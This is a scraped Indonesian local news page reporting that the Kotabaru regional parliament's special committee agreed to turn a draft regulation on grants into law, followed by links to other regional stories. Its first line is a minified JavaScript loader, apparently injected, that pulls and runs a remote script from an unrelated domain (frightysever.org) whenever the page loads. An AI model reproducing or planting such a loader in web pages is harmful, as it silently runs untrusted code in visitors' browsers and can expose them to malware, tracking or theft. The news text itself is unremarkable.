(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Draf Raperda hibah atau sumbangan pihak lain akan dijadikan Perda dan diparipurnakan disetujui DPRD Kotabaru menjadi perda usai Gewsima Mega Putra, selaku Wakil Ketua Pansus II menyampaikan laporan akhirnya mengenai hal tersebut dalam sidang paripurna, Senin (19/8/2024).
Politisi PDIP ini mengatakan bahwa, salah satu dasar dalam pembentukan Peraturan Daerah (Perda) adalah sisi sosiologis.
Hal itu seiring dengan dibentuknya Raperda. Maka, pemerintah Kabupaten Kotabaru harus segera menyesuaikan dengan menerbitkan Perda guna menindaklanjuti amanah undang undang dimaksud.
“Kami dari Pansus II DPRD Kotabaru telah mengadakan rapat dengan pihak terkait pada 12 agustus 2024 lalu,†katanya.
Dia mengatakan, Pansus II telah menyepakati draf Raperda tersebut dan siap dijadikan Perda dan diparipurnakan.
“Kami sudah bersepakat agar Raperda itu dijadikan produk hukum bagi daerah Kabupaten Kotabaru,†pungkas dia. (kanalkalimantan.com/muhammad)
Reporter: muhammad
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.